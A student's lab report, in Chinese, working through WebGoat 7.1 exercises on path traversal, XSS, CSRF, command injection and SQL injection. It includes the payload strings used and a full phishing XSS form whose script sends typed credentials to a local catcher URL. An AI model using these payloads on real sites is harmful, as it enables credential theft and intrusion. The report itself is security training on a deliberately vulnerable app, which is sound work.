2017-2018 Exp9 网络欺诈技术防范 20155214
Exp9 网络欺诈技术防范
实验内容
实验环境
- 主机
Kali
实验工具
- 平台
webgoat
Webgoat
webgoat下载安装
首先,下载地址:
https://s3.amazonaws.com/webgoat-war/webgoat-container-7.1-war-exec.jar
或者去github上也可以。
其次,cd切换到下载目录:
root@kali:~/下载# java -jar webgoat-container-7.1-war-exec.jar
注意,webgoat服务器占用本地8080端口,需要先把该端口腾出来。
然后,访问本地8080端口:
http://localhost:8080/WebGoat
选择账号登录后即可开始练习,本次实验要求完成10个练习。
- 要开始刷Web漏洞了,好激动啊
General
Http Basics
看得出这题应该是用来熟悉题型的,user可以尝试hint,检查request参数,前端代码以及代理等,达到理解题目的目的。
- 既来之,hint之
1.Type in your name and press 'go'
2.turn on Show Parameters or other features
3.Try to intercept the request with OWASP ZAP
4.Press the Show Lesson Plan button to view a lesson summary
5.Press the Show Solution button to view a lesson solution
在Enter your Name的
input
中输点什么,harry
吧,然后Go!
表面Congratulations.
input
框中已经如题所示反转,变为了yrrah
f12打开源码,可以看到表单提交的后台函数
#attack/1869022003/100
与url显示的相同然后
Show source
把后台代码贴上来了,在createContent(Websession s)中
person = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
//获取前端Input值
person.reverse();
//反转
- 之后就算入门了,正式开始做题
Access Control Flaws
Using an Access Control Matrix
- emmm..浏览题意,本题设计了一个
基于角色的权限控制
,并且Only the [Admin] group should have access to the 'Account Manager' resource.
,所以要求我们尝试获得Admin权限。 - 粗略操作后发现,user表单中有4个用户,其中
Shemp
属于Admin
组,允许访问Account Manager
- 而后,可以发现
Larry[User,Manager]
被错误的赋予权限,以致于可以访问Account Manager
...
if (!getRoles(user).contains("Admin") && resource.equals("Account Manager"))
{
makeSuccess(s);
}
s.setMessage("User " + user + " " + credentials + " was allowed to access resource " + resource);
//权限验证代码没有问题
...
if (rl.contains(roles[1]))
{
list.add(resources[1]);
list.add(resources[5]);
}//roles[1]即Larry,resources[5]即Account Manager,此处权限赋予出现错误
...
Bypass a Path Based Access Control Scheme
本题要求我们尝试获得权限以访问list提供之外的文件,如
WEB-INF/spring-security.xml
Hint中提示可利用相对路径访问
Current Directory is: /root/.extract/webapps/WebGoat/plugin_extracted/plugin/BasicAuthentication/lessonPlans/en
//在URL栏中输入可以打开文件目录,但只有BasicAuthentication.html一个文件
- 利用BurpSuite打开代理,点击
view
之后拦截
File=BasicAuthentication.html&SUBMIT=View+File
- 将File改为
../main.jsp
,forward
即可在页面访问,
Crossing-Site Scripting
Phishing with XSS
阅读题意,在
Search
框中插入一段包括获取信息的js脚本的HTML代码,将获取到的信息转发到本地servlet。前端脚本见
知识点
成功后在页面内插入了两个
input
This feature requires account login:
Enter Username:
Enter Password:
No results were found.
- 输入了WebGoat的账号密码后,弹出一个
alert
attack.?????? Your credentials were just stolen. User Name = webgoat Password = webgoat
//用户输入的账号信息已经被发给了本地服务器
Stored XSS Attacks
简单浏览了一下,页面将会把提交的Message发布处来,因此可以提交一段带JS脚本的HTML文本。
尝试一下
Title:
20155214
Message:
<script>alert("It is a simple stored XSS");</script>
- 成功之后,在原本的位置
Message Contents For: 20155214
Title: 20155214
Message:
Posted by: webgoat
//Message为空,点开之后出现alert弹窗
Reflected XSS Attacks
阅读题意,还是在
input
中添加一个JS脚本,当页面执行HTML文本时执行。查看hint,利用以下代码可以查看
cookie
<SCRIPT>alert(document.cookie);</SCRIPT>
- 以下跨站脚本攻击通过调用
ActiveXObject
类,创建Xmlhttp
对象
,可以将charge修改为商品总和
<script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1){var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false); xmlHttp.send();str1=xmlHttp.responseText; while (str1.indexOf("\n") > -1) str1 = str1.replace("\n","<br>"); document.write(str1);}</script>
The total charged to your credit card: $1997.96
Cross Site Request Forgery(CSRF)
阅读题意,我们通过输入一条,插入IMG的JS脚本,其URL地址指向
attack
的servlet在Message中,以下JS脚本插入了一张不存在的图片
<img src='attack?Screen=2078372&menu=900&transferFunds=5000'>
- 运行成功后,F12查看源码,发现
Message
位置已经插入了该html文本,该url已经被执行。
CSRF Prompt By-Pass
- 阅读题意,URL应该使用此CSRF-prompt-by-pass课程的屏幕,菜单参数和具有数字值(例如“5000”)的额外参数“transferFunds”来指向攻击小服务程序,以启动传输和字符串值“CONFIRM” 完成它。 您可以从右侧的插图复制课程参数,创建格式为“attack?Screen = XXX&menu = YYY&transferFunds = ZZZ”的网址。 谁收到这封电子邮件,恰好在当时被认证,将有资金转移。
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=400"> </iframe>
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=CONFIRM"> </iframe>
- 成功之后,可以看到在页面上伪造了一个资金转换的交互界面。
Amount to transfer: 400
CONFIRM | CANCEL
Injection Flaws
Command Injection
阅读题意,尝试向操作系统注入一个命令。
打开Burp Suite,抓一下包
HelpFile
修改为
AccessControlMatrix.help"&&"dir
-点击Go
,即可获得
<!-- Stop Instructions --><br>UserDatabase.mv.db webgoat-container-7.1-exec.jar ?? ??<br>VMwareTools-10.2.5-8068393.tar.gz ?? ?? ??<br>vmware-tools-distrib ?? ?? ??<br>Returncode: 0<br></pre></form></div>
Numeric SQL Injection
阅读题意,要求我们修改页面上的SQL语句,来使服务器连接数据库输出所有天气信息
正常情况下,SQL语句会按照
station
条件查询相关数据。
SELECT * FROM weather_data WHERE station = 101
因此要求很简单,需要将数据库中的所有信息输出,删去条件即可
打开Burp Suite,抓包会发现前端传输了
station
数据,因此我们将
station=101&SUBMIT=Go!
修改为
station=101 or 1=1&SUBMIT=Go!
- 构成了新的SQL语句
SELECT * FROM weather_data WHERE station = 101 or 1=1
,即查询条件为永真,输出weather_data中的所有数据。
String SQL Injection
阅读题意,手工设置SQL字符串注入,获得SMITH的信用卡信息
注入字符串
' or '1'='1
,构成新SQL语句
ELECT * FROM user_data WHERE last_name = '' or '1'='1
即条件为永真,搜索user_data中所有数据。
知识点
- XSS脚本
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
2017-2018 Exp9 网络欺诈技术防范 20155214的更多相关文章
- 2017-2018 Exp7 网络欺诈技术防范 20155214
目录 Exp7 网络欺诈技术防范 实验内容 信息收集 知识点 Exp7 网络欺诈技术防范 实验内容 实验环境 主机 Kali 靶机 Windows 10 实验工具 平台 Metaploit 信息收集 ...
- 20145236《网络对抗》Exp7 网络欺诈技术防范
20145236<网络对抗>Exp7 网络欺诈技术防范 一.基础问题回答 通常在什么场景下容易受到DNS spoof攻击? 随便连接没有设置密码的wifi的情况下比较容易受攻击,因为这样就 ...
- 20145215《网络对抗》Exp7 网络欺诈技术防范
20145215<网络对抗>Exp7 网络欺诈技术防范 基础问题回答 通常在什么场景下容易受到DNS spoof攻击? 在同一局域网下比较容易受到DNS spoof攻击,攻击者可以冒充域名 ...
- 20145208 蔡野 《网络对抗》Exp7 网络欺诈技术防范
20145208 蔡野 <网络对抗>Exp7 网络欺诈技术防范 本实践的目标理解常用网络欺诈背后的原理,以提高防范意识,并提出具体防范方法.具体有(1)简单应用SET工具建立冒名网站(2) ...
- 20155202张旭 Exp7 网络欺诈技术防范
20155202张旭 Exp7 网络欺诈技术防范 基础问题回答 通常在什么场景下容易受到DNS spoof攻击? 在同一局域网下比较容易受到DNS spoof攻击,攻击者可以冒充域名服务器,来发送伪造 ...
- 20155207 EXP7 网络欺诈技术防范
20155207 EXP7 网络欺诈技术防范 实验内容 本实践的目标理解常用网络欺诈背后的原理,以提高防范意识,并提出具体防范方法. 具体有 (1)简单应用SET工具建立冒名网站 (2)etterca ...
- 20155216 Exp7 网络欺诈技术防范
Exp7 网络欺诈技术防范 基础问题回答 1.通常在什么场景下容易受到DNS spoof攻击? 1.在同一局域网下比较容易受到DNS spoof攻击,攻击者可以冒充域名服务器,来发送伪造的数据包,从而 ...
- Exp7 网络欺诈技术防范
Exp7 网络欺诈技术防范 基础问题回答 1.通常在什么场景下容易受到DNS spoof攻击? 在同一局域网下比较容易受到DNS spoof攻击,攻击者可以冒充域名服务器,来发送伪造的数据包,从而修改 ...
- 20155304《网络对抗》Exp7 网络欺诈技术防范
20155304<网络对抗>Exp7 网络欺诈技术防范 实践内容 本实践的目标理解常用网络欺诈背后的原理,以提高防范意识,并提出具体防范方法.具体实践有 (1)简单应用SET工具建立冒名网 ...
随机推荐
- Flutter 修改TextField的高度,以及无边框圆角
修改TextField的高度可以通过decoration: InputDecoration的contentPadding进行修改,代码如下 new TextField( decoration: Inp ...
- SQL2008R2数据库日志太大收缩方法
1.登陆项目平台数据库服务器.双击SQL Server Management Studio打开数据库管理.登陆数据库 2.如下图,打开数据库属性窗口 3.如下图,更改数据库恢复模式 4.如下图,收缩数 ...
- Python+Selenium笔记(十一):配置selenium Grid
(一) 前言 Selenium Grid可以将测试分布在若干个物理或虚拟机器上,从而实现分布方式或并行方式执行测试. 这个链接是官方的相关说明. https://github.com/Selenium ...
- GIT回推本地commit近期版本
一次意外吧,本地add并且commit之后拉了别人错误的代码下来,后来本地又需要进行编写测试,无奈只能回推到自己刚刚commit过的代码,但是git命令除了拉去提交等其他的不是很熟悉,在度娘之后也遇到 ...
- 03-04_配置并启动Managed Server(受管服务器)
本文重点: 配置Managed Servers(受管服务器) 启动Managed Servers 原理 运行多个Managed Servers实例 一.配置Managed Se ...
- 在SQL Server中用好模糊查询指令LIKE (转载)
like在sql中的使用:在SQL Server中用好模糊查询指令LIKE:查询是SQL Server中重要的功能,而在查询中将Like用上,可以搜索到一些意想不到的结果和效果,like的神奇 一.一 ...
- python基础学习13----生成器&迭代器
生成器是属于迭代器,但迭代器不只是生成器 首先是一个简单的生成器 def gener(): print(1) yield 1 print(2) yield 2 print(3) yield 3 g=g ...
- SAP业务蓝图设计的一些想法
SAP蓝图设计是面向业务流程的,目前国内很多软件公司在做蓝图设计(概要设计)都是面向功能的,而对于用户来说,需要的不是一个个功能点,而是要实现具体的业务.功能点是一个点,而业务流程是一条线.是在梳理业 ...
- Stop Bitbucket prompting for password in git
出处:http://qosys.info/485/bitbucket-git-prompt-for-password In some cases after adding public ssh key ...
- [Python] 制作启动uiautomator2 的web版 uiautomatorviewer2 批处理启动
打开一个txt文件,复制如下命令进行并另存为为 .bat文件 @echo on @echo 正在启动 uiautomatorviewer2 python -m weditor @echo off 注意 ...